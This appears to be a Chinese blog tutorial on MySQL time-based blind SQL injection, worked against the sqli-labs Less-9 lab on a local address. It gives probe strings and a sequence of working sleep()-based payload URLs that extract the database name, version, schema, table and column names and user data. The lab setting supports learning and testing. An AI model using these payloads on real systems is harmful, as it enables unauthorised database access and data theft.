zoukankan      html  css  js  c++  java
  • MYSQL时间盲住

     

    mysql注释 -- ,-- -,#,--+等

    常用的判断语句:

    ' and if(1=0,1, sleep(10)) #

    " and if(1=0,1, sleep(10)) --+

    ) and if(1=0,1, sleep(10)) --+

    ') and if(1=0,1, sleep(10)) --+

    ") and if(1=0,1, sleep(10)) --+

    下面开始实验

    这里我是知道数据库长度的,所以用的是等于=,实战中可以用大小于二分法来进行一个判断,缩短时间(或者丢sqlmap里)

    1,输入检测语句

    http://192.168.0.174/Less-9/?id=1'and if(1=0,1, sleep(4)) --+

    sleep(4)是延迟4秒 --+是注释

    按F12 -网络-右下角显示4秒后显示

    所以说明咱们插入的语句被带入了数据库查询

     

    2,查询当前数据库的长度,payload:

    http://192.168.0.174/Less-9/?id=1'and if(length(database())=8,sleep(10),1)--+

    length : 用于截取当前数据库的长度

     

     

    延迟10秒说明我们判断的长度正确,当前数据库长度为8

    3,查询当前数据库的第一个字符,payload:

    http://192.168.0.174/Less-9/?id=1'and If(ascii(substr(database(),1,1))=115,sleep(10),1)--+

    (substr(database(),1,1) : 截取当前数据库的第一个字符

    ascii : 把截取到的字符串转换成ascii码(ascii表在最下面)

    发现延迟了10秒,那么ascii码是等于115,通过查找ascii码表,115是小写的s

     

    当数字改为2表示第二位数字,通过这样改变位数一个一个字符串进行截取,判断出数据库的名称为security

    http://192.168.0.174/Less-9/?id=1'and If(ascii(substr(database(),2,1))=115,sleep(10),1)--+

    4,

    1.爆数据库的版本长度

    http://192.168.0.174/Less-9/?id=1'and If(length((version()))=14,sleep(10),1)--+

    2.爆数据库版本的第一个字符

    http://192.168.0.174/Less-9/?id=1'and If(ascii(substr(version(),1,1))=53,sleep(10),1)--+

    3.爆第一个数据库的长度

    http://192.168.0.174/Less-9/?id=1'and If(length((select schema_name from information_schema.schemata limit 0,1))=18,sleep(10),1)--+

     

    4.爆第一个数据库的第一个字符

    http://192.168.0.174/Less-9/?id=1'and If(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(10),1)--+

     

    这里通过改变limit后的值来确定第几个数据库,第一个数据库的下标为0,依次往后推就是其他的数据库

    http://192.168.0.174/Less-9/?id=1'and If(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(10),1)--+

    5.爆security数据库里的第四个表的长度

    http://192.168.0.174/Less-9/?id=1'and If(length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5,sleep(10),1)--+

    6.爆security数据库里的第四个表的第一个字符

    http://192.168.0.174/Less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(10),1)--+

    7.爆security数据库里的users表的第二个字段长度

    http://192.168.0.174/Less-9/?id=1'and If(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))=8,sleep(10),1)--+

    8.爆security数据库里的users表的第二个字段的第一个字符

    http://192.168.0.174/Less-9/?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117,sleep(10),1)--+

    9.爆security数据库里的users表的第二个字段的第一个数据的长度

    http://192.168.0.174/Less-9/?id=1'and If(length((select username from security.users limit 0,1))=4,sleep(10),1)--+

     

  • 相关阅读:
    uml系列(四)——类图
    Linux设备驱动实现自己主动创建设备节点
    收集了三年的最好的设计站点
    CoInitialize浅析一
    iOS 单例
    Android开发之异步具体解释(二)之AsyncTask
    ComboBox控件
    下拉框Html.DropDownList 和DropDownListFor 的经常用法
    好记心不如烂笔头,ssh登录 The authenticity of host 192.168.0.xxx can't be established. 的问题
    cidaemon.exe进程cpu占用率高及关闭cidaemon.exe进程方法
  • 原文地址:https://www.cnblogs.com/dggsec/p/8805654.html
Copyright © 2011-2022 走看看